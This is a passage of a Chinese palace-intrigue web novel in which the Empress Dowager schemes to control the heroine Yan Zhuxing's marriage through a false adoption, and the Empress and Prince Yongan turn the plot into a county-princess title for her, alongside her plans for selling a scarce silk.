真相大白。
朝华大长公主那曾煊赫一时的名号,顷刻间便在千夫所指之下沦为了一滩污秽不堪、遗臭万年的泥淖。
就连福安郡主过往做的那些恶事也都被人翻了出来。
一时间,朝华大长公主母女人人喊打,无人再提捉拿“潜逃凶手同伙”之事。
“天杀的,那朝华大长公主真不是个东西,竟然抢咱们老百姓的田地,还逼死了那么多人。死得好,死得妙啊,这种人就不该活着。”
“她那女儿也是,上梁不正下梁歪,被烧死了也是活该。小小年纪心肠歹毒。我家闺女连鸡都不敢杀,她竟然杀了那么多猫儿狗儿。这样下去,怕不是要杀人?”
“就是就是,这种人就该天打五雷轰。”
诸如此类的辱骂声在街头巷尾时常能听到。
这些话传到李兰亭耳中,他目眦欲裂。
“一群刁民,他们懂什么?”
“朝华明明给了他们银钱,怎么还要怪到朝华头上,是他们自己作恶,非要去当劫匪。”
“福安只是年少贪玩,好奇而已,所以才杀了一些畜生,那算什么大事。”
他抱怨的话音落下,“啪”的一声,脸上就挨了一巴掌。
第183章 嫁去虎狼窝
“糊涂。”
“时至今日,你竟然还不知道错在哪里了?”
李崇简恨铁不成钢地看着儿子。
“儿子何错之有!”李兰亭捂着脸,愤恨地看着父亲。
“福安是我的女儿,我替她报仇,天经地义!”
朝华大长公主的死可以说是山匪作乱,那他的女儿呢?
就那样被活活烧死在大街上,真凶至今逍遥法外,而女儿还要被万人唾骂。
岂有此理?!
李兰亭直直地盯着父亲,眼里闪着泪光:“福安可是您的亲孙女,她被人害死。您难道不想替她报仇吗?”
听他提起孙女,李崇简脸上也多了一抹悲痛。
听到那些传言时,他根本不敢相信那是她乖巧懂事的小孙女柔嘉。
见他表情有所松动,李兰亭哀求道:“父亲,福安最喜欢的就是您这个祖父,您若不找出真凶替她报仇雪恨,她九泉之下如何安息?”
李崇简叹了一口气,开口道:“明日我会请宋元柏到家里坐坐,让他对福安的案子多上点心。”
“不,不用请他来了。儿子知道是谁害的福安!”李兰亭愤愤开口。
“是谁?”李崇简疑惑。
“晏、逐、星。定远侯的那个养女。一定是她!”李兰亭的语气像是恨不得生啖其肉。
“不止是福安,朝华的死也一定跟她脱不开干系。”
李崇简思索片刻,才想起来晏逐星究竟是何人。
“你可有证据?”他皱眉开口。
一个小姑娘,没有了侯府当倚仗,又无父无母,怎么可能杀害得了当朝公主和郡主。
“没有。”说到这,李兰亭咬紧了后槽牙。
朝华大长公主出事那日,他便派人去查了晏逐星的踪迹。
种种迹象和人证都表明那日她一直待在定远侯府里,不止一个人见过她。
他想把她牵扯到其中并不容易,毕竟明面上她和公主府毫无仇怨。
“既然没有,你怎么能言之凿凿地确认是她杀害了福安?”李崇简看着儿子,心底的失望再次涌了上来。
一把年纪了,怎么说话办事还和一个毛头小子一般不靠谱。
李兰亭张了张嘴,不知道该从何说起。
如果让父亲知道福安命人火烧晏逐星,导致上元节那日死伤了那么多百姓,他一定会很愤怒。
朝华派暗卫截杀晏逐星在前,还引发了定远侯的死,此事亦不能告知父亲。
但若不说,他又没办法向父亲证明此事就是晏逐星在复仇。
李兰亭第一次体会到了什么叫有苦说不出。
“行了,此事过去就过去了,你也莫要再执着,勿要做出令家族蒙羞之事!”李崇简看出了儿子眼底的不甘心,敲打了几句。
李兰亭眼底的光彩渐渐暗了下去。
父亲不肯帮他,那他就只能靠他自己了。
没有证据又如何,他认定晏逐星杀了他的妻女,那就是晏逐星干的。
除了她,不会有别人。
*
朝华大长公主的亡故,掀起了无数波澜。
其中当属太后最为悲痛,一度哭到昏厥好几回。
她这一生一共诞下一儿一女。
儿子小时候便夭折了,因而她对朝华大长公主倾注了所有感情。
她没想到,自己有朝一日竟然要白发人送黑发人。
她躺在床上,面色惨白:“宣驸马入宫,哀家有事要问他。”
没过多久,李兰亭来到了长乐宫。
看着两鬓斑白的太后,他心下有些酸楚。
原本他和朝华还想着,福安出嫁那日让太后到场给她撑腰,不曾想,这辈子都没有机会了。
太后哑着嗓子道:“兰亭,哀家不信他们说的朝华是被一群山匪所杀。你将事情原原本本地告诉哀家,不得隐瞒!”
“太后娘娘,您一定要替殿下报仇啊。”李兰亭跪倒在太后跟前,将自己的猜测全都说了出来。
“晏逐星?好一个晏逐星。”太后气得猛地一拍茶几,剧烈咳嗽了起来。
报仇,毁了晏逐星。
这是两人同时生出的念头。
太后深吸一口气:“你将晏逐星的事情全都打听清楚,告诉哀家。哀家自有法子整治她。”
朝华和福安还是太年轻,不懂后宅才是真正的杀人不见血。
与其用那等粗暴的法子弄死她,不如将她嫁去虎狼窝里,让她这辈子都活在无尽的痛苦之中。
只是她不能莫名其妙就给一个民女赐婚,否则那群言官一定会抨击她破坏礼法与纲常,说她失德、昏聩。
她得想一个法子,先让晏逐星入宫陪她,将她高高架起,捧上云端极尽荣宠,等那些虚假的繁华蒙蔽了她的眼,再亲手将她推下万丈深渊。
李兰亭将这些日子打听到的关于晏逐星的消息,一字不落地告诉了太后。
得知晏逐星竟与谢翊宁关系匪浅,皇后还对晏逐星多有回护,太后眉峰骤然锁紧。
怪不得一个小小的民女就敢和她的朝华过不去,背后说不定有皇后和谢翊宁的帮忙。
太后深吸一口气,脑海里已经想好了该如何处置晏逐星。
怕驸马坏事,她沉声提醒:“哀家知晓了,你且回吧,莫要轻举妄动。”
“是。”李兰亭带着满腔愤恨回了公主府。
接下来的日子,平静无波。
晏逐星并不知道太后和驸马在背后算计什么。
她一颗心全都扑到了流光缎上。
关万海那边已经把流光缎做了出来,反复实验了好几回,确认真的成功了,于是便快马加鞭派人将十匹完美无瑕的流光缎运送来了京城。
晏逐星将折叠齐整的流光缎徐徐展开,在案几上逐一抚平、细查。
一旁的衔蝉瞧见这些布匹惊得杏眼圆睁,低呼出声:“浮光锦?!小姐,您哪来的这么多?”
宫里今年不也才十匹么。
晏逐星唇角微扬,侧身让出位置:“莫急,你近前细看便知。”
衔蝉按捺住激动,小心翼翼捻起一角缎料。
触手冰凉滑腻,与顶级丝绸无异。
她凝神细看,指尖摩挲着缎面纹理,忽然“咦”了一声。
待反复确认后,她猛地抬头看向晏逐星,眼中震惊未退却又涌上巨大的惊喜:“小姐!这竟然不是浮光锦?”
可这波光流转的华彩分明神似浮光锦,日光之下若不细看几乎能以假乱真了。
“嗯。”晏逐星点了点头,眼中带着满意的光。
“此乃我特意与关家合力研制的新料子,名唤‘流光缎’。用料与织法上做了些调整,成本比浮光锦低廉不少。”
“流光缎?真是好名字。”衔蝉喜不自胜,反复抚摸着缎面,越看越喜欢。
她忍不住感慨出声:“此物光泽虽比浮光锦略含蓄几分,却也足有七八分神韵了!天哪,这得省下多少银子?”
“若定价在八十两银子一匹……”
晏逐星指尖轻点着流光缎,抬眸看向衔蝉,“你说,会有人买么?”
第184章 流光阁玉牌
“八十两一匹?”一旁的九栀和双鲤倒吸一口凉气。
也就是说按照他们二两银子的月银,她们得干三年多,不吃不喝才能买得起一匹这个料子?
这也太贵了吧!
衔蝉闻言却斩钉截铁地点头:“何止有人买!小姐,这简直是天大的划算!”
她激动地掰着手指细数起来。
“您是知道的,真正的浮光锦那可是贡品级别,一匹少说也得二百两银子!而且捧着银子也未必能寻着门路买得到。那织金云锦,一匹也稳稳当当卖一百两银子,京里那些贵主儿们还不是眼都不眨地抢着要?”
她越说越兴奋,脸颊都泛起了红晕,指着眼前流光溢彩的缎子道:
“可咱们这流光缎呢。您瞧瞧这光泽、这质感,波光流转间,比织金云锦瞧着还鲜亮贵气,跟浮光锦摆在一处也丝毫不露怯。这样的好东西竟只卖八十两?”
被她这么一说,九栀和双鲤对视一眼,感觉这料子怎么还卖便宜了?
衔蝉出身永安王府,对京中贵夫人千金小姐们的了解自然比她们都多。
有了她这番话,晏逐星心下稍定。
前些日子,永安王执意要将那日从朝华大长公主那拿到的银两分她一份,晏逐星再一次拒绝。
永安王见状,倒也没非要她收下,结果转头就让停云将朱雀大街上一处二层楼面的铺子契书送了过来。
那铺子位置极佳,临着最繁华的街口,比他们先前看的铺子要好上太多倍。
晏逐星实在是难以拒绝,最终还是收下了。
她只感觉自己欠永安王的真是越来越多了,也不知道猴年马月才能还得清。
只能走一步看一步了。
若他有用得着她的地方,她一定会为他上刀山下火海。
晏逐星翻开关万海命人送来的账册,算了一下。
岭南丝料染材占十五两,关家织造损耗约十二两,漕运镖银并税赋又是十二两,如今无需铺面租金,再加上人工成本,一匹流光缎的成本约莫在四十一两银子左右。
一匹定价在八十两,比织金云锦低了二十两,却比寻常蜀锦翻倍不止。
等到来年匠人们技艺成熟,成本或许还可以再降低三四两银子。
物以稀为贵。
这流光缎是绝不能无限量供应的。
晏逐星想了想,决定一年只卖五百匹。
这样纯利润粗略算下来约莫有一万九千五百两,她占了五成,分到手的还不足一万两。
一万两乍一听很多,但她若想支援霍家军,这点银钱还是远远不够的。
晏逐星决定再在流光缎上想些法子多挣些钱。
只是那些想法还不太成熟,她打算等关万海来了,与他再仔细探讨一二。
当下最要紧的事情是找一个好的绣娘,用流光缎替她赶制一身认亲宴上穿的衣裳。
届时,她要艳惊四座,让京城人都知晓流光缎。
约莫过了三天,关万海总算到了京城。
“大小姐瞧见流光缎,可还满意?”关万海擦着额头的汗,一脸期待地看着晏逐星。
为了让晏逐星先看到缎子,他命人快马加鞭先把东西送回来,自己在后边吭哧吭哧地慢慢追赶。
总算到京城了。
“嗯,你们做得很不错。”晏逐星点了点头。
得了她这句夸赞,关万海笑得合不拢嘴。
“大小姐,您看咱们什么时候可以开卖这个流光缎呀?”他忍不住追问。
晏逐星把自己的打算说了出来。
得知永安王给她送了个铺子,关万海看她的眼神愈发佩服。
瞧瞧,一个身世不明的孤女,离开了定远侯府非但没有被踩入泥潭,反倒展翅高飞了。
先是当成了国公夫人的义女,如今又与永安王关系密切。
啧,他这一次可算是抱对大腿了。
“一年只卖五百匹,是不是太少了?”关万海看着金山银山就摆在自己面前,却不能装入怀里,心痒难耐得很。
“若卖得多了,什么人都能穿上,你觉得京中那些贵人还会来买么?”晏逐星意味深长地看着他。
关万海一凛,顿时意识到了自己被那巨大的利润冲昏了头,贪心太过。
若年产千匹,恐怕连醉花楼的头牌都能穿上,到时候京中贵夫人们谁还愿再买这流光缎。
“一切都听大小姐的。”关万海老老实实地答应了下来。
“不过关老板也不必太担心,咱们卖的可不止是这五百匹布。”她唇角噙着一丝狡黠,将桌上的茶盅推到关万海面前。
“那还能卖什么?”关万海一时间有些想不出来。
晏逐星将自己这几日琢磨出的法子细细道来。
“铺面开张前,咱们便可放出风声:凡欲购流光缎者,须先纳‘妆匣礼’入门。”
“依礼金高低,赠我流光阁特制玉牌。”
“礼金五百两者,赠金镶玉玉牌一份,每季可购流光缎五匹;礼金三百两者,赠银镶玉玉牌一份,每季可购三匹;礼金百两者,则赠素面青玉牌一块,每季可购一匹。”
“持有玉牌者购买流光缎,八十两一匹,无玉牌者八十八两一匹。”
“这些玉牌得卡着数量给,一样只能给十个名额。”
“这样算起来一年给持有玉牌者的流光缎就去了三百六十匹。”
关万海听得双目圆睁。
按晏大小姐这般算法,岂非货物未售,便能先入账上万两白银?
若真能成事,这泼天的富贵便近在眼前了。
他按捺不住追问道:“大小姐此计妙啊。那剩下的一百四十匹怎么办?”
第185章 太后邀入宫
晏逐星喝了一口茶,不疾不徐地开口:
“关老板无需担心,那些流光缎自有去处。”
“无玉牌者若是想要求购流光缎,一年至多只能买两匹,且每买一匹必须得搭配着购买店内其他三件物品。簪钗荷包瓷器笔墨纸砚,任选其类,总归不得单买。”
关万海灵光一闪,脱口而出:“这些搭售之物的利钱,怕是比那流光缎还高出三成不止吧?”
晏逐星唇角微扬,笑而不语。
她这几日冥思苦想。
单卖流光缎虽然能挣钱,但对她来说远远不够。
她如今对其他生意知之甚少,倒不如在流光缎上下功夫,挖掘出流光缎更多的挣钱法子。
关万海听完顿时心潮澎湃,只感觉无数金山银山在向他招手,他拍着胸脯道:“好,一切都听您的吩咐,小人一定会盯紧岭南那边,绝对不会耽误了咱们的生意。”
晏逐星微微颔首应下,让他先去备货,她还得命人雕刻好流光缎的专属玉牌,为五月中旬流光阁开业做好准备。
就在国公府认亲宴前夕,烈国公夫人忽然来了晏宅,带给晏逐星一个让她意想不到的消息。
“您要带我进宫见太后?”晏逐星眉头下意识地皱了起来。
太后可是朝华大长公主的亲娘。
之前公主派人暗杀她的事,没准太后也知道。
这趟进宫,肯定没好事。
“是啊。”烈国公夫人还不知道晏逐星和公主府的过节,脸上带着笑,真心替她高兴,“太后那边传了话,说听说我要收你做义女,想看看你是什么模样。”
“要是能得了太后的眼缘,往后你的前程少不了。”
晏逐星:“……”
前程?
见了太后,她不想着法儿整她就不错了。
想从太后那边要到好处,怕是只能等下辈子了。
但她和公主府的恩怨不能说出口,于是她不动声色道:“干娘说得对,那我明日便随您入宫。”
“好,那我明日一早就派人来接你。你记得好好打扮打扮。”烈国公夫人高高兴兴地应下了。
烈国公夫人一走,九栀顿时露出了焦虑的神色。
“小姐,您当真要入宫么?太后那个死老太婆,肯定没安好心。”
听到这话,晏逐星“扑哧”笑出了声。
她点点头:“你说得对。她肯定不会那么好心要见我。”
一旁的双鲤也跟着急了:“小姐,那要不咱们装病别去了吧?”
“不,要去。”晏逐星摇了摇头。
“太后真要见我,装病只能躲一回,总不每回都称病不去吧?”
“再说了,装病的代价太大了,我得真病倒才行。否则太后要是派太医来替我诊治,戳穿了说我装病,那可是大不敬之罪。”
过两日就是认亲宴了,她不能真的病倒。
听她这么一说,几个丫鬟都露出了担忧的表情。
这也不行那也不行,这可如何是好啊。
“别怕。”晏逐星一摆手,拿定了主意。
“兵来将挡水来土掩,先进宫瞧瞧太后葫芦里到底卖的什么药。跟着干娘一块儿去,太后就算想动手也得顾忌几分,总比我单枪匹马去见她强。”
上辈子血的教训告诉她,逃避、躲藏、服软都是没用的东西。
面对敌人正面痛击,才是最好的防守。
“对,在宫里,太后怎么着都得顾及国公夫人的面子。无论如何,奴婢都会陪着小姐的。”衔蝉出言安慰。
晏逐星笑着点点头:“嗯,有你在,我就更安心了。”
“不,有王爷在,奴婢才能安心。”衔蝉提议,“不如这事咱们跟王爷也说一声?”
晏逐星有些迟疑,这点小事也要告诉永安王么。
会不会太麻烦他了。
但转念一想,太后找她肯定和公主府的命案有关。
万一太后被朝华大长公主的死给刺激疯了,当场不管不顾就要了她的命,届时再给她扣一个大不敬的罪名,谁还敢说太后半个不字?
撑死了言官在折子上骂她几句昏聩。
可她都死了,太后挨骂有什么用。
她惜命得很。
好不容易重活一回,还没实现游遍大江南北,找到家里人的愿望,就这样被太后弄死,那多冤呐。
这么一想,晏逐星便不觉得麻烦谢翊宁是多大的事了。
“好,那你将明日我随干娘入宫见太后的事情告知王爷。”
衔蝉应下,快步回了永安王府。
谢翊宁得知晏逐星被太后叫到宫里,第一反应也是黄鼠狼给鸡拜年,没安好心。
太后大概率是要报复晏逐星。
他当机立断嘱咐衔蝉:“明日本王也会入宫探望父皇母后。最多半个时辰,若你家小姐没跟着烈国公夫人出来,本王自会去长乐宫要人。”
“好。”
衔蝉高高兴兴地回了晏宅,将永安王的话转达给了晏逐星。
有了谢翊宁这番话,晏逐星更放心了。
烈国公夫人和永安王这双重保障在,她明日应该能平安回家。
她躺在床上,翻来覆去琢磨太后明天会怎么对付她。
不过想来想去,也就那几招:
要么揪着她礼仪上的错处不放,让她在众人面前出丑丢脸;
要么明面上夸几句,话里话外却藏着刀子,损得她抬不起头来;
再不然,就是逼她吃些来路不明的东西,或是寻个由头让她在冰冷的地上跪到天荒地老;
最狠的估计就是设个套让她钻,当场栽她一个“大不敬”或是“手脚不干净”的罪名。
横竖躲不过,明日入宫就只能打起十二万分精神,走一步看一步了。
晏逐星躺在床上,把能想到的刁难、羞辱、甚至杀招都在心里过了一遍。
可当她真真切切站在太后跟前时,浑身的防备却像一拳打在了棉花上。
她千算万算,唯独没算到,太后竟会这样对她。
第186章 不知道议亲
“哀家瞧着,这孩子当真一个可人儿。怪不得你会收她当义女。哀家看了心里也喜欢得紧,也想收她做个干孙女了。烈国公夫人,你不会怪哀家跟你抢人吧?”
太后话是对着烈国公夫人说的,眼神却是一直落在晏逐星身上没挪开。
晏逐星今日入宫,一直保持着低调行事的原则和态度。
除了一开始行礼,偶尔回应一两句太后的问话,全程几乎都没有张过口。
一直都是太后在和烈国公夫人闲谈。
现在仔细回想起来,太后一直在引导烈国公夫人说她的事情,刻意称赞了她好几回,像是在为认她当干孙女做铺垫。
天上不会掉馅饼。
太后那么恨她,又怎么可能给她“干孙女”这样的荣耀呢。
晏逐星猛地意识到,太后这一招是捧杀。
烈国公夫人闻言脸上瞬间绽放出惊喜又欣慰的笑容,眼中满是真诚的喜悦。
她只当是太后真心喜爱晏逐星。
她连忙起身,朝着太后深深一福,语气里是掩不住的高兴:
“太后娘娘金口玉言,如此厚爱星儿,实乃这孩子几世修来的造化!臣妇替星儿叩谢太后娘娘天恩!”
说罢,她甚至喜不自禁地轻轻拉了拉旁边僵立着的晏逐星的衣袖,低声道,声音里满是鼓励:
“星儿,快谢太后娘娘恩典呀。这可是天大的喜事!能得太后娘娘垂青,认作干孙女,这是多少人求都求不来的福分!”
在烈国公夫人看来,晏逐星得了太后的青眼,成了太后的干孙女。
身份地位瞬间就不同了。
日后在京城,谁还敢因为她无父无母轻视于她?
太后盯着晏逐星,等着她的回答。
见晏逐星迟迟不语,太后脸上的笑容带上了一抹冷意。
她冷冷开口:“怎么?你是瞧不上哀家?不愿认哀家当这个祖母?”
晏逐星露出惶恐的表情,毕恭毕敬道:“太后娘娘息怒!民女万万不敢!只不过乍一听闻这样的好消息,不敢相信。还请太后娘娘恕罪!”
她目光转向烈国公夫人,脸上适时地染上激动又带着点懵懂的红晕,仿佛真的被这天大的惊喜砸晕了头。
她的语气带着一丝天真的试探:“干娘,太后娘娘若成了星儿的干祖母,那星儿是不是就是郡主了?”
她故意提到“郡主”二字。
只见太后当场就变了脸色,眼中那强装出来的慈爱一瞬间烟消云散。
太后猛地收紧搭在凤座扶手上的手。
郡主,她的福安……
这贱婢怎敢肖想郡主之位?
她也配?
太后强行压下心底翻涌的情绪,开口道:“我朝规制,宗室郡主自有法度。你非皇家血脉,骤然封为郡主未免惹人非议,于你、于哀家,都非好事。”
她顿了顿,语气带着一种居高临下的疏离,继续道:
“不过,哀家既认你做干孙女,也不能委屈了你。封你个县主的虚衔,暂领俸禄,待你为养父守孝期满,再行正式册封之礼,倒也合情合理。”
晏逐星冷笑。
太后可真抠门,下诱饵都不舍得多撒点料。
施舍给她一个随时可以收回的县主空头衔,就想让她上钩?
真是挺能做梦的。
她眨着眼睛,仿佛被县主这个名头深深吸引了,脸上绽开纯粹又带着点小得意的笑容,佯装天真地追问道:“县主?那是不是说以后我就能嫁得更好啦?”
不等太后回答,她像是忽然想到什么天大的好事,猛地转过头一脸兴奋地看向烈国公夫人。
她的声音又脆又亮,带着毫不掩饰的憧憬:
“干娘,您听见了吗?要是星儿当了县主,那您之前跟星儿提过的那位张公子,他家是不是就再也不敢嫌弃星儿配不上啦?到时候,我是不是就能顺顺当当地嫁过去了?”
烈国公夫人一头雾水。
哪来的张公子?
她什么时候跟星儿提了这么一个人?
嫁人?
怎么突然就要嫁人了?
烈国公夫人彻底凌乱。
不等她开口,太后就脱口而出:“不可。既为哀家的干孙女,你的终身大事自然得要哀家点头……”
她认这贱丫头当干孙女,就是为了名正言顺地插手、甚至掌控她的婚事。
把她指给一个最不堪、最能折磨她的人,让她求生不得求死不能,才能消她心头之恨,才能给福安和朝华报仇!
而不是真的让这贱丫头借着县主的名头高嫁。
原本还沉浸在喜悦中的烈国公夫人,顿时觉得不对劲。
她之前只觉得太后恩典来得突然,但总归是对星儿有好处。
但星儿几番追问下来,她也察觉到了太后并非真心实意想要认下星儿这个干孙女。
直到太后刚刚说出那话,她终于察觉到了问题出在哪里。
太后今日铺垫了那么多,哪里是什么恩典,恐怕是日后打算用婚事来拿捏星儿。
她非但不喜欢星儿,反而厌恶她至极。
烈国公夫人心底打了个寒噤,正欲跪下求太后收回认干孙女的成命,就听到宫婢匆匆跑了进来禀告。
“启禀太后娘娘,皇后娘娘和永安王来了。”
太后脸色顿时一变。
这个时候,皇后和谢翊宁来了准没好事。
说不定还会坏了她的事。
但她不能不见他们母子二人。
等到崔皇后和谢翊宁对她行完礼,太后方才脸色铁青开口道:“皇后和永安怎么来了?”
“听闻烈国公夫人携义女入宫觐见,本宫与她甚是投缘,便想着过来瞧瞧。”崔皇后语调和缓,不疾不徐。
“正巧永安也在,得知本宫要来长乐宫请安便执意跟了来。这孩子心里可一直惦记着您老的身体呢。”
“皇祖母说的是!”谢翊宁连忙接口,语气带着浓浓的关切,“您这些日子玉体欠安,时有晕眩,可把孙儿吓得不轻!”
太后:“……”
她信个鬼。
吓得不轻?
谢翊宁没放鞭炮庆祝她晕倒都算他有孝心了。
“嗯,永安有心了。”太后干巴巴地开口,看不出丝毫高兴。
寒暄了几句后,崔皇后看向了烈国公夫人,笑道:“本宫先前似乎听到你们在说什么县主,嫁人,张公子,这是怎么一回事呀?”
跟在皇后身边的谢翊宁瞥了晏逐星一眼,眼里满是错愕与不悦。
她要议亲了他怎么不知道?
还说他是自己人,这么大的事情都不告诉他。
骗子!
第187章 王爷误会了
皇后这一问,总算给烈国公夫人找到开口的机会了。
她赶忙躬身道:“回皇后娘娘。方才太后娘娘垂爱,说要认星儿为干孙女,还要赐封县主……”
烈国公夫人脸上显出恳切又惶恐的神色,语气带着几分急切:
“这孩子虽是定远侯府教养长大,但终究生父母不明,身份有瑕。太后娘娘这般厚爱,封她为县主,臣妇以为此事或许不太合适。”
她想着她都说成这样了,总能推拒掉这事了吧。
“那张公子,嫁人又是怎么一回事?”崔皇后徐徐开口。
她面上故作好奇,但心里早就急得不行了。
傻儿子不开窍,她看好的儿媳不会飞了吧。
烈国公夫人:“……”
这个问题她要怎么回答。
她也不知道啊!!!
但她也不能否认这事,不然星儿先前欺瞒太后可就成了不敬之罪了。
她为难地看了晏逐星一眼。
晏逐星这才注意到谢翊宁一直盯着她。
她心里咯噔一下:坏了!王爷不会以为她故意隐瞒他吧?
他连国师预言改了这么机密的事都告诉她了,这么信任她。
现在她要“议亲”了却没提前跟他透个气,这多辜负他的信任啊。
要是让他觉得她藏着掖着蓄意隐瞒,心里有了疙瘩,以后还会像从前那样信任她吗?
会不会两人就此生分疏远了?
若是谢翊宁因此疏远她,晏逐星光是想想就觉得难受。
她当即开口解释:“那都是很久以前的事情了,干娘怜惜我非侯府亲生,怕我将来无依无靠,所以挑了一些好人家的儿郎让我瞧瞧。都是些八字没一撇的事情。”
“先前太后娘娘说要封我做县主,连带着我的亲事也要一并安排了,这般恩宠,民女着实惶恐。”
“是是是。正是如此。”烈国公夫人跟着点头。
“县主之位贵重,星儿年幼恐难担待,婚事也打算暂且放放。说来也是臣妇的一点私心,才认了这丫头做义女,实在舍不得她,想多留她在身边陪伴几年。还望娘娘怜惜臣妇的这片爱女之心。”
不曾想听完她的话,谢翊宁忽然开口:
“烈国公夫人倒也不必这般妄自菲薄,本王瞧着晏大小姐甚好。既然皇祖母喜欢她,要封她当县主,那你们高高兴兴接受了就是。”
“永安言之有理,本宫瞧着这丫头也是极好的。不然烈国公夫人又怎会认她当义女?既然这丫头能让太后宽心开怀,等会儿本宫便禀明皇上,请他下一道旨意封这丫头当县主吧。”
崔皇后也听明白了晏逐星和烈国公夫人话外的意思。
太后封这县主没安好心,多半是想着用婚事拿捏晏逐星。
如今儿子把话茬递过来了,她当然得接下,顺势给这丫头一个县主之位。
之前她还担忧晏逐星生父生母不详,日后若是当她儿媳妇会遭人非议。
如今有烈国公夫人当她义母,再加上县主的头衔,阻力就更小了。
“母后说得极是。”谢翊宁立刻接过话头,与崔皇后一唱一和。
“依着我朝规矩,皇祖母若要封晏大小姐为县主,这赏赐可不能薄了。黄金、锦缎、珠宝头面,田庄,这些都不能少的吧?”
“你忘了,还有五百亩上好的祭田呢。”崔皇后含笑接下儿子的话。
“太后思虑周全,想必县主该有的排场体面,定会一步到位。”
母子俩你一言我一语,轻描淡写地就把晏逐星的县主名分给定下了。
更是把太后给的无用虚衔,硬生生列成了真金白银厚赐的清单。
太后听着只觉得眼前阵阵发黑,几欲吐血。
她就知道这母子俩一出现准没好事。
她深吸一口气,抬手用帕子按了按眼角:“皇后与永安所言甚是。只不过……”
她话锋一转。
“定远侯附近新丧不久,这丫头尚在孝期。若在孝期之内,便大张旗鼓地行册封之礼,受赐厚赏,岂不是将她陷于不孝不义之地?这让天下人如何看待她?又如何看待哀家与皇家?”
谢翊宁听到这话,眉头微皱。
太后果然是有备而来啊。
他微微一笑,直视太后道:“皇祖母此言差矣。定远侯夫人拐带之罪确凿,可晏大小姐念及侯府多年抚育之德,仍为阖府守足二十七日孝期,已是至纯至孝,仁至义尽。”
“定远侯生前未能护她周全,本就有愧。若泉下有知,见养女得蒙皇祖母恩典获封县主,岂有不欣慰之理?此为大孝大义。”
“天下百姓若是知道了,也必然会盛赞皇祖母明辨忠奸、仁德无双。”
太后后槽牙磨得咯咯作响。
这小孽障!
这么多年过去还是这般刁钻刻薄,牙尖嘴利,字字诛心。
“永安所言极是。”崔皇后也笑着接话,化解了太后的借口。
“臣妾以为今日便可请皇上下旨,定下这丫头县主的名分,以彰皇恩。一应赏赐仪物按制度先行备齐,待孝期一满,再择吉日行正式的册封之礼。”
崔皇后直接提出了解决方案。
县主的封号马上定下,赏赐按单备好先用着,至于正式的封赏仪式太后若是非要等,那就等孝期满了再补。
太后端坐凤椅之上,脸色由红转白,由白转青。
她没想到自己今日竟搬起石头砸自己的脚了。
她此刻若是出言反对或削减赏赐,岂不是当众打自己的脸?
第188章 封号有争议
太后一口银牙几乎咬碎,脸上挤出一抹僵硬勉强的笑:“皇后与永安言之有理。哀家岂是那等不通情理之人?既是如此,就封这丫头为……”
到这里,她顿了顿,似乎在认真思索。
片刻后,她拟定了给晏逐星的封号。
“便封她为翎嘉县主吧。”
“翎羽的翎,嘉许的嘉。盼她如珍禽翎羽般光彩,德行堪受嘉许。”
在场的人听完脸色都不太好看。
烈国公夫人迅速垂下眼帘,掩饰眼中的惊诧与不忿。
好个“翎嘉”。
将活生生的人比作离体的羽毛?
再如何华美,也是无根的死物,太后轻贱之意昭然若揭。
可雷霆雨露俱是天恩。
太后肯封星儿为县主,已是泼天的恩典。
若此刻她不识趣,敢对御赐的封号提出异议。
那便不是“不识抬举”四个字能担待的了。
一个“藐视天恩”、“恃宠而骄”的罪名扣下来,莫说星儿,整个国公府都要吃不了兜着走。
烈国公夫人暗暗着急。
好在这时崔皇后开口了。
她的脸上漾开雍容得体的笑意,仿佛全然未觉这个封号的恶意,温声开口:
“母后赐名用心良苦。只是翎羽终是身外死物,轻若无根。以此喻人,恐非长久之兆,亦有失县主尊荣体统。”
她不给太后插话的机会,斩钉截铁地提出:
“臣妾斗胆,以为‘令’字更佳。令者,善也,美也。取《诗经》‘如圭如璋,令闻令望’之意。”
“将翎嘉县主改为令嘉县主。既嘉其品性,更期其德行美善,声名远播。一字之易,寓意更为庄重深远,亦更符合天家气象。太后以为如何?”
太后:“……”
皇后的理由冠冕堂皇,引经据典,字字句句都在抬高晏逐星,若是反驳只会显得她这个太后刻薄无知。
一股郁气堵在胸口,太后不甘但又找不出反驳的话。
片刻后,方才开口:“皇后思虑的是。那便封其为令嘉县主吧。”
“好孩子,还不快快谢恩。”崔皇后给晏逐星使了个眼神。
好处都被皇后和永安王扒拉到她怀里了,她若不接下,倒是显得她不识抬举了。
于是晏逐星爽快利落地行礼谢恩。
“叩谢太后娘娘恩典。民女必当谨记令嘉之德,不负娘娘的期许。”
太后一口老血卡在喉咙里,吐不出来又咽不下去,憋屈得胸口发闷。
看着下首叩谢的晏逐星,她强压下翻腾的怒火,脸上硬生生挤出几慈爱,声音刻意放得柔和:
“好孩子,快起来。如今已是县主之尊,还称什么太后娘娘。唤哀家一声皇祖母便是,这才显得亲近。”
“太后,这恐怕不妥。”崔皇后立刻出声截断,语气温和却带着不容置疑的份量。
她目光扫过晏逐星,又落回太后身上,话里有话。
“县主之封已是天恩浩荡,格外殊荣。皇祖母之称,乃天家骨血至亲方可使用。”
说到这,她又笑了起来。
“后宫诸位公主若是知道您独独厚待这丫头,恐怕会惹来非议说您偏心呢。”
开什么玩笑。
要是真让太后把晏逐星认下当干孙女,日后她与小石头就算兄妹。
那她的儿媳妇可就真没了!
烈国公夫人如今也不想让晏逐星与太后牵扯太深,赶忙附和道:“皇后娘娘所言极是。依臣妇看,君臣有别方是长久之道。这丫头尊称一句太后娘娘,恪守本分,最为妥当。”
太后简直不敢相信皇后竟能无耻到这个地步。
既要争得封号的好处,又半点亏都不肯吃。
她越想越气,胸口那股堵着的浊气猛地翻涌上冲,眼前一黑,她当场就晕了过去。
谢翊宁当机立断吩咐:“快请太医,皇祖母新封了县主,欢喜过头晕倒了。”
一旁的烈国公夫人看得叹为观止。
怪不得皇后娘娘和永安王能把太后逼得十几年不去未央宫,也不敢找茬呢。
这母子二人,翻手为云覆手为雨的手段,当真是炉火纯青。
不一会儿,文昭帝就领着许太医来了。
“母后如何了?”文昭帝没想到儿子一来,太后又晕了。
真是不让他省心啊。
“皇祖母只是太高兴太激动,所以晕了。想必没什么大碍。”谢翊宁睁眼说瞎话。
“那就好。”文昭帝虽然不信儿子的话,但面上功夫还是要做好,让许太医赶紧去替太后治疗。
瞧见皇后母子二人,许太医就觉得头疼。
完了完了,这一次恐怕又要胡说八道了。
果不其然,他给太后把脉结束后,很明确地知道太后就是被气晕了。
但永安王说太后是高兴晕了,他也不能唱反调啊。
许太医极快地扫了一眼谢翊宁,硬着头皮道:“回禀皇上、皇后娘娘。太后娘娘此前因朝华大长公主和福安郡主之事伤心过度,凤体本就有恙。”
